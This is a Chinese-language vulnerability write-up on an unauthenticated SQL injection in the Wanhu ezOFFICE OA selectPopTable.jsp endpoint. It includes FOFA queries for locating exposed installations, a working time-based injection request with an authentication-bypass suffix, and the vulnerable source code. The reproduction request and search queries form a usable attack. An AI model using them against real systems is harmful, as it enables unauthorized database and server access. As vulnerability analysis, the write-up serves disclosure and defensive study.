0x01 产品简介
万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。
0x02 漏洞概述
万户 ezOFFICE platform/custom/custom_database/dropdownselect/selectPopTable.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。
0x03 复现环境
本地环境 OR FOFA:app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"
漏洞复现
GET /defaultroot/platform/custom/custom_database/dropdownselect/selectPopTable.jsp;.js?fieldId=1%3Bwaitfor%20delay%270%3A0%3A4%27 HTTP/1.1
Host: ezoffice.mrxn.net
成功延时 4 秒
漏洞分析
关于鉴权绕过,参考这篇文章:万户 ezOFFICE ajax_checkUserNum.jsp SQL注入漏洞
platform/custom/custom_database/dropdownselect/selectPopTable.jsp 主要业务逻辑代码如下,非常简单!
<%
String index = request.getParameter("index");
String fieldId = request.getParameter("fieldId");
String value = request.getParameter("value");
String selectType=request.getParameter("selectType")==null?"":request.getParameter("selectType").toString();
//System.out.println(value);
String[] _table = null;
if("more".equals(selectType)){
selectType="#";
if(value != null && !"".equals(value) && !"null".equals(value)){
String[] _temp = value.split("\\]\\$\\[");
_table = new String[_temp.length];
for(int i=0; i<_temp.length; i++){
if(i==0){
_table[i] = _temp[i].substring(1) + "]";
}else{
_table[i] = "[" + _temp[i];
}
//System.out.println(_table[i]);
}
}
}else{
selectType="$";
if(value != null && !"".equals(value) && !"null".equals(value)){
String[] _temp = value.split("\\]\\$\\[");
_table = new String[_temp.length];
for(int i=0; i<_temp.length; i++){
if(i==0){
_table[i] = _temp[i].substring(1) + "]";
}else{
_table[i] = "[" + _temp[i];
}
//System.out.println(_table[i]);
}
}
}
String[][] pryTableList = (String[][])request.getAttribute("pryTableList");
String inType = "0";
String ds = "";
String fieldvalue_filter = "";
String fieldvalue_sql = "";
String field_value = "";
String[][] ret = new UIBD().getFieldExtInfoByFieldId(fieldId);
inType = ret[0][0];
ds = ret[0][1];
if("1".equals(inType)){
fieldvalue_sql = ret[0][2];
}else{
fieldvalue_filter = ret[0][2];
}
field_value = request.getParameter("value");//ret[0][3];
%>
主要关注 这一行
String[][] ret = new UIBD().getFieldExtInfoByFieldId(fieldId);
跟进 UIBD getFieldExtInfoByFieldId 方法看下
public String[][] getFieldExtInfoByFieldId(String fieldId) {
DbOpt dbopt = null;
String[][] result = (String[][])null;
String sql = "select field_intype, field_ds, field_sql, field_value, field_def_setting, field_show, field_desname, field_name from tfield where field_id=" + fieldId;
try {
dbopt = new DbOpt();
result = dbopt.executeQueryToStrArr2(sql, 8);
又是一个明显直接拼接参数进SQL语句,造成SQL注入漏洞,还是这么朴实无华!
最后
其他万户OA 相关漏洞
万户 ezOFFICE selectAmountField.jsp SQL注入漏洞
万户OA系列漏洞



